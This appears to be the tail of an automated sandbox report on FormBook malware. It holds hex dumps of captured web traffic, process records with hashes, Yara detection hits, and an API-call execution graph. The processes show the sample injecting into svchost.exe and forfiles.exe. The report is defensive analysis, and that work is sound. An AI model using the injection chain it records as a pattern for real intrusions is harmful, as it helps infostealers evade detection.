                                                                                                                                                                              Oct 2, 2024 15:18:18.667191029 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20
                                                                                                                                                                              Data Ascii: </li> <li> <a href="https://www.imena.ua/domains/regtm" title=" "> </a>
                                                                                                                                                                              Oct 2, 2024 15:18:18.667206049 CEST1236INData Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6d 65
                                                                                                                                                                              Data Ascii: <li> <a href="https://www.imena.ua/blog/"></a> </li> <li class="mode_link">
                                                                                                                                                                              Oct 2, 2024 15:18:18.667217970 CEST1236INData Raw: 66 3d 22 68 74 74 70 3a 2f 2f 70 61 72 74 6e 65 72 2e 6d 69 72 6f 68 6f 73 74 2e 6e 65 74 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 69 72 6f 68 6f 73 74 5f 69 63 6f 6e 22 3e 3c 2f 73 70 61 6e 3e
                                                                                                                                                                              Data Ascii: f="http://partner.mirohost.net" rel="nofollow"><span class="mirohost_icon"></span> Mirohost</a></li> </ol> </div> <div class="lang">
                                                                                                                                                                              Oct 2, 2024 15:18:18.667663097 CEST1236INData Raw: 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 63 6f 6e 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                              Data Ascii: "> <div class="icon"></div> <input type="radio" name="h_term" value="1" > <a href="https://www.imena.ua/en" class="lang_en"
                                                                                                                                                                              Oct 2, 2024 15:18:18.672065973 CEST1236INData Raw: 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6d 65 6e 61 2e 75 61 2f 63 68 65 63 6b 2d 64 6f 6d 61 69 6e 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e
                                                                                                                                                                              Data Ascii: form action="https://www.imena.ua/check-domain" method="post"> <input type="hidden" name="partner" value=""> <input type="hidden" name="stage" value="check_domain"> <input type="hidden" name="ste


                                                                                                                                                                              Statistics

                                                                                                                                                                              CPU Usage

                                                                                                                                                                              Click to jump to process

                                                                                                                                                                              Memory Usage

                                                                                                                                                                              Click to jump to process

                                                                                                                                                                              High Level Behavior Distribution

                                                                                                                                                                              Click to dive into process behavior distribution

                                                                                                                                                                              Behavior

                                                                                                                                                                              Click to jump to process

                                                                                                                                                                              System Behavior

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:0
                                                                                                                                                                              Start time:09:15:13
                                                                                                                                                                              Start date:02/10/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\PO#001498.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:"C:\Users\user\Desktop\PO#001498.exe"
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:1'364'803 bytes
                                                                                                                                                                              MD5 hash:EAE93786C2728ADD0BEF6611BD278ABB
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:low
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:8
                                                                                                                                                                              Start time:09:15:18
                                                                                                                                                                              Start date:02/10/2024
                                                                                                                                                                              Path:C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:"C:\Users\user\Desktop\PO#001498.exe"
                                                                                                                                                                              Imagebase:0x2c0000
                                                                                                                                                                              File size:46'504 bytes
                                                                                                                                                                              MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Yara matches:
                                                                                                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1776852488.0000000003590000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1776852488.0000000003590000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1777534454.0000000005050000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1777534454.0000000005050000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:11
                                                                                                                                                                              Start time:11:12:35
                                                                                                                                                                              Start date:02/10/2024
                                                                                                                                                                              Path:C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:"C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe"
                                                                                                                                                                              Imagebase:0x980000
                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Yara matches:
                                                                                                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3132094860.00000000044C0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3132094860.00000000044C0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:false

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:12
                                                                                                                                                                              Start time:11:12:37
                                                                                                                                                                              Start date:02/10/2024
                                                                                                                                                                              Path:C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:"C:\Windows\SysWOW64\forfiles.exe"
                                                                                                                                                                              Imagebase:0xc20000
                                                                                                                                                                              File size:41'472 bytes
                                                                                                                                                                              MD5 hash:D95C443851F70F77427B3183B1619DD3
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Yara matches:
                                                                                                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3120123793.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3120123793.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                              Has exited:false

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:14
                                                                                                                                                                              Start time:11:12:49
                                                                                                                                                                              Start date:02/10/2024
                                                                                                                                                                              Path:C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:"C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe"
                                                                                                                                                                              Imagebase:0x980000
                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Yara matches:
                                                                                                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3133096714.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3133096714.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:false

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:18
                                                                                                                                                                              Start time:11:13:02
                                                                                                                                                                              Start date:02/10/2024
                                                                                                                                                                              Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                                                                                                                              Imagebase:0x7ff722870000
                                                                                                                                                                              File size:676'768 bytes
                                                                                                                                                                              MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              Disassembly

                                                                                                                                                                              Reset < >

                                                                                                                                                                                Execution Graph

                                                                                                                                                                                Execution Coverage:3.1%
                                                                                                                                                                                Dynamic/Decrypted Code Coverage:1%
                                                                                                                                                                                Signature Coverage:3.1%
                                                                                                                                                                                Total number of Nodes:1654
                                                                                                                                                                                Total number of Limit Nodes:47
                                                                                                                                                                                execution_graph 84762 4444e4 84767 40d900 84762->84767 84764 4444ee 84771 43723d 84764->84771 84766 444504 84768 40d917 84767->84768 84769 40d909 84767->84769 84768->84769 84770 40d91c CloseHandle 84768->84770 84769->84764 84770->84764 84772 40d900 CloseHandle 84771->84772 84773 437247 ctype 84772->84773 84773->84766 84774 444343 84777 444326 84774->84777 84776 44434e WriteFile 84778 444340 84777->84778 84779 4442c7 84777->84779 84778->84776 84784 40e190 SetFilePointerEx 84779->84784 84781 4442e0 SetFilePointerEx 84785 40e190 SetFilePointerEx 84781->84785 84783 4442ff 84783->84776 84784->84781 84785->84783 84786 46d22f 84789 46d098 84786->84789 84788 46d241 84790 46d0b5 84789->84790 84791 46d115 84790->84791 84792 46d0b9 84790->84792 84856 45c216 78 API calls 84791->84856 84833 41171a 84792->84833 84796 46d126 84798 46d0f8 84796->84798 84804 46d142 84796->84804 84797 46d0cc 84846 453063 84797->84846 84852 4092c0 84798->84852 84802 46d0fd 84802->84788 84805 46d1c8 84804->84805 84807 46d158 84804->84807 84862 4676a3 78 API calls 84805->84862 84810 453063 111 API calls 84807->84810 84808 46d0ea 84808->84804 84811 46d0ee 84808->84811 84820 46d15e 84810->84820 84811->84798 84851 44ade5 CloseHandle ctype 84811->84851 84812 46d1ce 84863 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 84812->84863 84813 46d18d 84857 467fce 82 API calls 84813->84857 84815 46d196 84858 4013a0 75 API calls 84815->84858 84819 46d1e7 84823 4092c0 VariantClear 84819->84823 84831 46d194 84819->84831 84820->84813 84820->84815 84821 46d1a2 84859 40df50 75 API calls 84821->84859 84823->84831 84824 46d1ac 84860 40d3b0 75 API calls 2 library calls 84824->84860 84826 46d224 84826->84788 84827 46d1b8 84861 467fce 82 API calls 84827->84861 84828 40d900 CloseHandle 84830 46d216 84828->84830 84864 44ade5 CloseHandle ctype 84830->84864 84831->84826 84831->84828 84835 411724 84833->84835 84836 41173e 84835->84836 84840 411740 std::bad_alloc::bad_alloc 84835->84840 84865 4138ba 84835->84865 84883 411afc 6 API calls __decode_pointer 84835->84883 84836->84797 84845 40d940 76 API calls 84836->84845 84838 411766 84887 4116fd 67 API calls std::exception::exception 84838->84887 84840->84838 84884 411421 84840->84884 84841 411770 84888 41805b RaiseException 84841->84888 84844 41177e 84845->84797 84847 45306e 84846->84847 84848 45307a 84846->84848 84847->84848 85026 452e2a 111 API calls 5 library calls 84847->85026 84850 40dfa0 83 API calls 84848->84850 84850->84808 84851->84798 84853 4092c8 ctype 84852->84853 84854 429db0 VariantClear 84853->84854 84855 4092d5 ctype 84853->84855 84854->84855 84855->84802 84856->84796 84857->84831 84858->84821 84859->84824 84860->84827 84861->84831 84862->84812 84863->84819 84864->84826 84866 41396d 84865->84866 84871 4138cc 84865->84871 84896 411afc 6 API calls __decode_pointer 84866->84896 84868 413973 84897 417f23 67 API calls __getptd_noexit 84868->84897 84872 413965 84871->84872 84875 413929 RtlAllocateHeap 84871->84875 84876 4138dd 84871->84876 84878 413959 84871->84878 84881 41395e 84871->84881 84892 41386b 67 API calls 4 library calls 84871->84892 84893 411afc 6 API calls __decode_pointer 84871->84893 84872->84835 84875->84871 84876->84871 84889 418252 67 API calls 2 library calls 84876->84889 84890 4180a7 67 API calls 7 library calls 84876->84890 84891 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84876->84891 84894 417f23 67 API calls __getptd_noexit 84878->84894 84895 417f23 67 API calls __getptd_noexit 84881->84895 84883->84835 84898 4113e5 84884->84898 84886 41142e 84886->84838 84887->84841 84888->84844 84889->84876 84890->84876 84892->84871 84893->84871 84894->84881 84895->84872 84896->84868 84897->84872 84899 4113f1 _raise 84898->84899 84906 41181b 84899->84906 84905 411412 _raise 84905->84886 84932 418407 84906->84932 84908 4113f6 84909 4112fa 84908->84909 84997 4169e9 TlsGetValue 84909->84997 84912 4169e9 __decode_pointer 6 API calls 84913 41131e 84912->84913 84914 4113a1 84913->84914 85007 4170e7 68 API calls 5 library calls 84913->85007 84929 41141b 84914->84929 84916 41133c 84917 411388 84916->84917 84920 411357 84916->84920 84921 411366 84916->84921 84918 41696e __encode_pointer 6 API calls 84917->84918 84919 411396 84918->84919 84922 41696e __encode_pointer 6 API calls 84919->84922 85008 417047 73 API calls _realloc 84920->85008 84921->84914 84924 411360 84921->84924 84922->84914 84924->84921 84926 41137c 84924->84926 85009 417047 73 API calls _realloc 84924->85009 85010 41696e TlsGetValue 84926->85010 84927 411376 84927->84914 84927->84926 85022 411824 84929->85022 84933 41841c 84932->84933 84934 41842f EnterCriticalSection 84932->84934 84939 418344 84933->84939 84934->84908 84936 418422 84936->84934 84967 4117af 67 API calls 3 library calls 84936->84967 84938 41842e 84938->84934 84940 418350 _raise 84939->84940 84941 418360 84940->84941 84942 418378 84940->84942 84968 418252 67 API calls 2 library calls 84941->84968 84948 418386 _raise 84942->84948 84971 416fb6 84942->84971 84945 418365 84969 4180a7 67 API calls 7 library calls 84945->84969 84948->84936 84949 41836c 84970 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84949->84970 84950 4183a7 84954 418407 __lock 67 API calls 84950->84954 84951 418398 84977 417f23 67 API calls __getptd_noexit 84951->84977 84956 4183ae 84954->84956 84957 4183e2 84956->84957 84958 4183b6 84956->84958 84960 413a88 ___wtomb_environ 67 API calls 84957->84960 84978 4189e6 InitializeCriticalSectionAndSpinCount _raise 84958->84978 84962 4183d3 84960->84962 84961 4183c1 84961->84962 84979 413a88 84961->84979 84993 4183fe LeaveCriticalSection _doexit 84962->84993 84965 4183cd 84992 417f23 67 API calls __getptd_noexit 84965->84992 84967->84938 84968->84945 84969->84949 84974 416fbf 84971->84974 84972 4138ba _malloc 66 API calls 84972->84974 84973 416ff5 84973->84950 84973->84951 84974->84972 84974->84973 84975 416fd6 Sleep 84974->84975 84976 416feb 84975->84976 84976->84973 84976->84974 84977->84948 84978->84961 84980 413a94 _raise 84979->84980 84981 413ad3 84980->84981 84982 413b0d __dosmaperr _raise 84980->84982 84984 418407 __lock 65 API calls 84980->84984 84981->84982 84983 413ae8 RtlFreeHeap 84981->84983 84982->84965 84983->84982 84985 413afa 84983->84985 84987 413aab ___sbh_find_block 84984->84987 84996 417f23 67 API calls __getptd_noexit 84985->84996 84989 413ac5 84987->84989 84994 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __shift 84987->84994 84988 413aff GetLastError 84988->84982 84995 413ade LeaveCriticalSection _doexit 84989->84995 84992->84962 84993->84948 84994->84989 84995->84981 84996->84988 84998 416a01 84997->84998 84999 416a22 GetModuleHandleW 84997->84999 84998->84999 85002 416a0b TlsGetValue 84998->85002 85000 416a32 84999->85000 85001 416a3d GetProcAddress 84999->85001 85020 41177f Sleep GetModuleHandleW 85000->85020 85004 41130e 85001->85004 85006 416a16 85002->85006 85004->84912 85005 416a38 85005->85001 85005->85004 85006->84999 85006->85004 85007->84916 85008->84924 85009->84927 85011 4169a7 GetModuleHandleW 85010->85011 85012 416986 85010->85012 85013 4169c2 GetProcAddress 85011->85013 85014 4169b7 85011->85014 85012->85011 85015 416990 TlsGetValue 85012->85015 85017 41699f 85013->85017 85021 41177f Sleep GetModuleHandleW 85014->85021 85019 41699b 85015->85019 85017->84917 85018 4169bd 85018->85013 85018->85017 85019->85011 85019->85017 85020->85005 85021->85018 85025 41832d LeaveCriticalSection 85022->85025 85024 411420 85024->84905 85025->85024 85026->84848 85027 4733ec 85028 473436 85027->85028 85029 4733fd 85027->85029 85030 453063 111 API calls 85028->85030 85029->85028 85033 47340d 85029->85033 85031 473457 85030->85031 85039 4723ab 85031->85039 85035 4092c0 VariantClear 85033->85035 85034 473486 85036 47348f 85034->85036 85038 4092c0 VariantClear 85034->85038 85037 473416 85035->85037 85038->85036 85040 4092c0 VariantClear 85039->85040 85041 4723b7 85040->85041 85042 41171a 75 API calls 85041->85042 85043 4723be 85042->85043 85046 46edc6 85043->85046 85045 4723d9 85045->85034 85073 45335b 85046->85073 85048 46f1ed 85048->85045 85049 401cf0 75 API calls 85051 46eddb 85049->85051 85050 46ee27 85052 46ee36 85050->85052 85081 401cf0 85050->85081 85051->85048 85051->85049 85051->85050 85054 41171a 75 API calls 85052->85054 85055 46ee64 85054->85055 85076 40c060 85055->85076 85058 40c060 75 API calls 85059 46ee9e 85058->85059 85060 40c060 75 API calls 85059->85060 85068 46eea7 85060->85068 85061 46f19c 85062 41171a 75 API calls 85061->85062 85067 46f264 _memset 85061->85067 85063 46f1de 85062->85063 85065 41171a 75 API calls 85063->85065 85064 4134d9 78 API calls 85064->85068 85065->85067 85066 4021e0 75 API calls 85066->85068 85067->85045 85068->85048 85068->85061 85068->85064 85068->85066 85069 413431 78 API calls 85068->85069 85070 403470 75 API calls 85068->85070 85072 41349d 78 API calls 85068->85072 85084 40df50 75 API calls 85068->85084 85069->85068 85070->85068 85072->85068 85085 402ae0 85073->85085 85075 453367 CharLowerBuffW 85075->85051 85077 41171a 75 API calls 85076->85077 85078 40c088 85077->85078 85079 41171a 75 API calls 85078->85079 85080 40c096 85079->85080 85080->85058 85082 402ae0 75 API calls 85081->85082 85083 401cf7 85082->85083 85083->85052 85084->85068 85086 42a06a 85085->85086 85087 402aef 85085->85087 85092 401380 75 API calls 85086->85092 85087->85075 85089 42a072 85090 41171a 75 API calls 85089->85090 85091 42a095 _memcpy_s 85090->85091 85091->85075 85092->85089 85093 40116e 85094 401119 DefWindowProcW 85093->85094 85095 429212 85100 410b90 85095->85100 85098 411421 __cinit 74 API calls 85099 42922f 85098->85099 85101 410b9a __write_nolock 85100->85101 85102 41171a 75 API calls 85101->85102 85103 410c31 GetModuleFileNameW 85102->85103 85117 413db0 85103->85117 85105 410c66 _wcsncat 85120 413e3c 85105->85120 85108 41171a 75 API calls 85109 410ca3 _wcscpy 85108->85109 85110 410cd1 RegOpenKeyExW 85109->85110 85111 429bc3 RegQueryValueExW 85110->85111 85112 410cf7 85110->85112 85113 429cd9 RegCloseKey 85111->85113 85115 429bf2 _wcscat _wcslen _wcsncpy 85111->85115 85112->85098 85114 41171a 75 API calls 85114->85115 85115->85114 85116 429cd8 85115->85116 85116->85113 85123 413b95 85117->85123 85153 41abec 85120->85153 85124 413c2f 85123->85124 85125 413bae 85123->85125 85126 413d60 85124->85126 85127 413d7b 85124->85127 85125->85124 85141 413c1d 85125->85141 85145 41ab19 67 API calls __mbschr_l 85125->85145 85149 417f23 67 API calls __getptd_noexit 85126->85149 85151 417f23 67 API calls __getptd_noexit 85127->85151 85130 413d65 85134 413cfb 85130->85134 85150 417ebb 6 API calls 2 library calls 85130->85150 85133 413d03 85133->85124 85133->85134 85136 413d8e 85133->85136 85134->85105 85135 413cb9 85135->85124 85137 413cd6 85135->85137 85147 41ab19 67 API calls __mbschr_l 85135->85147 85152 41ab19 67 API calls __mbschr_l 85136->85152 85137->85124 85137->85134 85140 413cef 85137->85140 85148 41ab19 67 API calls __mbschr_l 85140->85148 85141->85124 85144 413c9b 85141->85144 85146 41ab19 67 API calls __mbschr_l 85141->85146 85144->85133 85144->85135 85145->85141 85146->85144 85147->85137 85148->85134 85149->85130 85151->85130 85152->85134 85154 41ac02 85153->85154 85155 41abfd 85153->85155 85162 417f23 67 API calls __getptd_noexit 85154->85162 85155->85154 85158 41ac22 85155->85158 85160 410c99 85158->85160 85164 417f23 67 API calls __getptd_noexit 85158->85164 85160->85108 85161 41ac07 85163 417ebb 6 API calls 2 library calls 85161->85163 85162->85161 85164->85161 85165 401230 85166 401241 _memset 85165->85166 85167 4012c5 85165->85167 85180 401be0 85166->85180 85169 40126b 85170 4012ae KillTimer SetTimer 85169->85170 85171 42aa61 85169->85171 85172 401298 85169->85172 85170->85167 85175 42aa8b Shell_NotifyIconW 85171->85175 85176 42aa69 Shell_NotifyIconW 85171->85176 85173 4012a2 85172->85173 85174 42aaac 85172->85174 85173->85170 85177 42aaf8 Shell_NotifyIconW 85173->85177 85178 42aad7 Shell_NotifyIconW 85174->85178 85179 42aab5 Shell_NotifyIconW 85174->85179 85175->85170 85176->85170 85177->85170 85178->85170 85179->85170 85181 401bfb 85180->85181 85201 401cde 85180->85201 85202 4013a0 75 API calls 85181->85202 85183 401c0b 85184 42a9a0 LoadStringW 85183->85184 85185 401c18 85183->85185 85187 42a9bb 85184->85187 85203 4021e0 85185->85203 85216 40df50 75 API calls 85187->85216 85188 401c2d 85190 401c3a 85188->85190 85191 42a9cd 85188->85191 85190->85187 85192 401c44 85190->85192 85217 40d3b0 75 API calls 2 library calls 85191->85217 85215 40d3b0 75 API calls 2 library calls 85192->85215 85195 42a9dc 85196 401c53 _memset _wcscpy _wcsncpy 85195->85196 85197 42a9f0 85195->85197 85200 401cc2 Shell_NotifyIconW 85196->85200 85218 40d3b0 75 API calls 2 library calls 85197->85218 85199 42a9fe 85200->85201 85201->85169 85202->85183 85204 4021f1 _wcslen 85203->85204 85205 42a598 85203->85205 85207 402205 85204->85207 85208 402226 85204->85208 85221 40c740 85205->85221 85219 404020 75 API calls ctype 85207->85219 85220 401380 75 API calls 85208->85220 85209 42a5a2 85212 40222d 85212->85209 85214 41171a 75 API calls 85212->85214 85213 40220c _memcpy_s 85213->85188 85214->85213 85215->85196 85216->85196 85217->85195 85218->85199 85219->85213 85220->85212 85222 40c752 85221->85222 85223 40c747 85221->85223 85222->85209 85223->85222 85224 402ae0 75 API calls 85223->85224 85225 42a572 _memcpy_s 85224->85225 85225->85209 85226 4034b0 85227 4034b9 85226->85227 85228 4034bd 85226->85228 85229 42a0ba 85228->85229 85230 41171a 75 API calls 85228->85230 85231 4034fe _memcpy_s ctype 85230->85231 85232 40f110 RegOpenKeyExW 85233 40f13c RegQueryValueExW RegCloseKey 85232->85233 85234 40f15f 85232->85234 85233->85234 85235 416193 85272 41718c 85235->85272 85237 41619f GetStartupInfoW 85239 4161c2 85237->85239 85273 41aa31 HeapCreate 85239->85273 85241 416212 85275 416e29 GetModuleHandleW 85241->85275 85245 416223 __RTC_Initialize 85309 41b669 85245->85309 85248 416231 85249 41623d GetCommandLineW 85248->85249 85378 4117af 67 API calls 3 library calls 85248->85378 85324 42235f GetEnvironmentStringsW 85249->85324 85252 41623c 85252->85249 85253 41624c 85330 4222b1 GetModuleFileNameW 85253->85330 85255 416256 85256 416261 85255->85256 85379 4117af 67 API calls 3 library calls 85255->85379 85334 422082 85256->85334 85260 416272 85347 41186e 85260->85347 85263 416279 85265 416284 __wwincmdln 85263->85265 85381 4117af 67 API calls 3 library calls 85263->85381 85353 40d7f0 85265->85353 85268 4162b3 85383 411a4b 67 API calls _doexit 85268->85383 85271 4162b8 _raise 85272->85237 85274 416206 85273->85274 85274->85241 85376 41616a 67 API calls 3 library calls 85274->85376 85276 416e44 85275->85276 85277 416e3d 85275->85277 85279 416fac 85276->85279 85280 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 85276->85280 85384 41177f Sleep GetModuleHandleW 85277->85384 85394 416ad5 70 API calls 2 library calls 85279->85394 85282 416e97 TlsAlloc 85280->85282 85281 416e43 85281->85276 85285 416218 85282->85285 85286 416ee5 TlsSetValue 85282->85286 85285->85245 85377 41616a 67 API calls 3 library calls 85285->85377 85286->85285 85287 416ef6 85286->85287 85385 411a69 6 API calls 4 library calls 85287->85385 85289 416efb 85290 41696e __encode_pointer 6 API calls 85289->85290 85291 416f06 85290->85291 85292 41696e __encode_pointer 6 API calls 85291->85292 85293 416f16 85292->85293 85294 41696e __encode_pointer 6 API calls 85293->85294 85295 416f26 85294->85295 85296 41696e __encode_pointer 6 API calls 85295->85296 85297 416f36 85296->85297 85386 41828b InitializeCriticalSectionAndSpinCount __alloc_osfhnd 85297->85386 85299 416f43 85299->85279 85300 4169e9 __decode_pointer 6 API calls 85299->85300 85301 416f57 85300->85301 85301->85279 85387 416ffb 85301->85387 85304 4169e9 __decode_pointer 6 API calls 85305 416f8a 85304->85305 85305->85279 85306 416f91 85305->85306 85393 416b12 67 API calls 5 library calls 85306->85393 85308 416f99 GetCurrentThreadId 85308->85285 85413 41718c 85309->85413 85311 41b675 GetStartupInfoA 85312 416ffb __calloc_crt 67 API calls 85311->85312 85319 41b696 85312->85319 85313 41b8b4 _raise 85313->85248 85314 41b831 GetStdHandle 85318 41b7fb 85314->85318 85315 41b896 SetHandleCount 85315->85313 85316 416ffb __calloc_crt 67 API calls 85316->85319 85317 41b843 GetFileType 85317->85318 85318->85313 85318->85314 85318->85315 85318->85317 85415 4189e6 InitializeCriticalSectionAndSpinCount _raise 85318->85415 85319->85313 85319->85316 85319->85318 85320 41b77e 85319->85320 85320->85313 85320->85318 85321 41b7a7 GetFileType 85320->85321 85414 4189e6 InitializeCriticalSectionAndSpinCount _raise 85320->85414 85321->85320 85325 422370 85324->85325 85326 422374 85324->85326 85325->85253 85327 416fb6 __malloc_crt 67 API calls 85326->85327 85329 422395 _memcpy_s 85327->85329 85328 42239c FreeEnvironmentStringsW 85328->85253 85329->85328 85331 4222e6 _wparse_cmdline 85330->85331 85332 416fb6 __malloc_crt 67 API calls 85331->85332 85333 422329 _wparse_cmdline 85331->85333 85332->85333 85333->85255 85335 42209a _wcslen 85334->85335 85339 416267 85334->85339 85336 416ffb __calloc_crt 67 API calls 85335->85336 85342 4220be _wcslen 85336->85342 85337 422123 85338 413a88 ___wtomb_environ 67 API calls 85337->85338 85338->85339 85339->85260 85380 4117af 67 API calls 3 library calls 85339->85380 85340 416ffb __calloc_crt 67 API calls 85340->85342 85341 422149 85343 413a88 ___wtomb_environ 67 API calls 85341->85343 85342->85337 85342->85339 85342->85340 85342->85341 85345 422108 85342->85345 85416 426349 67 API calls __mbschr_l 85342->85416 85343->85339 85345->85342 85417 417d93 10 API calls 3 library calls 85345->85417 85348 41187c __IsNonwritableInCurrentImage 85347->85348 85418 418486 85348->85418 85350 41189a __initterm_e 85351 411421 